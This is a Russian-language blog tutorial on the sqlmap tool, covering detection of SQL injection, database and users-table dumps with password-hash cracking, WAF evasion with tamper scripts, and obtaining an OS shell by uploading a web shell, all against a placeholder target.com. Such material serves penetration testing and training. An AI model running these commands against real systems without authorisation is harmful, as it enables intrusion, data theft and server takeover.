SQL-инъекции остаются одной из наиболее распространённых и опасных уязвимостей веб-приложений уже два десятилетия. sqlmap — инструмент, который автоматизирует поиск и эксплуатацию таких уязвимостей до уровня, недостижимого при ручном тестировании.
Почему sqlmap, а не руками
Ручное тестирование SQL-инъекций требует знания синтаксиса десятков СУБД, умения обходить WAF, понимания boolean- и time-based атак. sqlmap знает всё это и умеет определять тип базы данных, вектор инъекции и метод эксплуатации автоматически. Это не значит, что понимать теорию не нужно — понимать необходимо, чтобы интерпретировать результаты и настраивать инструмент под конкретную цель.
Базовый запуск
Самый простой сценарий — передать URL с параметром:
sqlmap -u "http://target.com/page.php?id=1"
sqlmap автоматически определит, уязвим ли параметр id, и если да — определит тип СУБД и доступные векторы атаки.
Для POST-запросов:
sqlmap -u "http://target.com/login" --data="username=test&password=test"
Работа с перехваченными запросами
Часто удобнее сохранить HTTP-запрос из Burp Suite и передать его sqlmap напрямую:
sqlmap -r request.txt
Файл request.txt — это сырой HTTP-запрос, скопированный из Burp. sqlmap разберёт все параметры сам.
Если нужно тестировать конкретный параметр:
sqlmap -r request.txt -p username
Уровни тестирования
Параметры --level (1-5) и --risk (1-3) контролируют агрессивность тестирования:
- --level — количество проверяемых мест (заголовки, cookies, референсы). По умолчанию 1.
- --risk — риск атак. Уровень 3 включает OR-based атаки, которые могут изменить данные в БД.
sqlmap -u "http://target.com/page.php?id=1" --level=3 --risk=2
Дамп данных
Когда инъекция найдена, можно извлекать данные:
Получить список баз данных:
sqlmap -u "http://target.com/page.php?id=1" --dbs
Получить таблицы конкретной БД:
sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables
Дамп таблицы users:
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump
sqlmap автоматически попытается взломать хэши паролей через встроенный словарь.
Обход WAF и защиты
Для обхода WAF sqlmap предоставляет --tamper скрипты — модификаторы пейлоадов:
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,charencode
Полезные tamper-скрипты:
- space2comment — заменяет пробелы комментариями /**/
- charencode — URL-кодирует пейлоад
- randomcase — рандомизирует регистр ключевых слов SQL
- between — заменяет операторы сравнения на BETWEEN
Получение shell
При определённых условиях (права FILE в MySQL, возможность записи в веб-директорию) sqlmap позволяет получить OS shell:
sqlmap -u "http://target.com/page.php?id=1" --os-shell
Это работает через загрузку веб-шелла. Используйте только в рамках авторизованного тестирования.
Практические советы
Всегда добавляйте --batch для неинтерактивного режима в автоматизированных сканах. Используйте --threads для ускорения (но осторожно, чтобы не положить сервер). При работе с аутентифицированными сессиями передавайте cookies через --cookie.
sqlmap -u "http://target.com/page.php?id=1" --cookie="session=abc123" --batch --threads=5
Пока нет комментариев. Будьте первым!